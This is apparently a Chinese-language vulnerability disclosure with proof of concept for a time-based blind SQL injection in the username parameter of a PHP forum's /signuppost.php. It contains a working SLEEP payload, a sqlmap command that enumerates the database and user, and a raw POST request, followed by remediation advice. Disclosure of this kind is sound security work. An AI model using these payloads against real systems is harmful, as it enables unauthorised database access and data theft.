
CVE-poc
CVE-poc
SQL 注入漏洞
在“使用PHP源码的技术论坛”项目的 /signuppost.php 文件中发现了一个SQL注入漏洞。该漏洞源于攻击者可以通过登录用户名参数注入恶意代码,并且该参数未经验证直接用于SQL查询。这使得攻击者能够伪造输入值以操纵SQL查询并执行未授权操作。
攻击者可以利用此SQL注入漏洞获得对数据库的未授权访问、泄露敏感数据、篡改数据、完全控制系统,甚至中断服务,对系统安全和业务连续性构成严重威胁。
漏洞名称:用户名参数
Payload
Parameter: Username (POST)
Type: Time Blind Injection Time Blind Injection
Title: Time Blind Injection Time Blind Injection
Payload: username=admin' AND (SELECT 9335 FROM (SELECT(SLEEP(5)))NwOL) AND 'SGvn' = 'SGvn'
测试并运行sqlmap工具时获取的具体信息截图

//sqlmap
python sqlmap.py -r url.txt --level 1 --risk 1 --current-db --current-user --is-dba
poc
POST /signuppost.php HTTP/1.1
Host: 127.0.0.1:8083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Origin: http://127.0.0.1:8083
Connection: keep-alive
Referer: http://127.0.0.1:8083/signup.php
Cookie: PHPSESSID=ln2b6eftt76aon56uvppiurao3
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
name=123&gender=male&email=13849221%40qq.com&contact=123123&username=admii&password=admin%40123&password_check=admin%40123&submit=SignUp
使用预处理语句和参数绑定 预处理语句通过将SQL代码与用户输入数据分离来防止SQL注入。使用预处理语句时,用户输入的值被视为纯数据,不会解释为SQL代码。
输入验证与过滤 严格验证和过滤用户输入数据,确保其符合预期格式。
最小化数据库用户权限 确保用于连接数据库的账户具有最小必要权限。避免日常操作使用高权限账户(例如“root”或“admin”)。
定期进行安全审计 定期进行代码和系统安全审计,及时发现并修复潜在安全漏洞。
通过遵循这些建议,你可以大大提高应用程序的安全性,并降低与SQL注入漏洞相关的风险。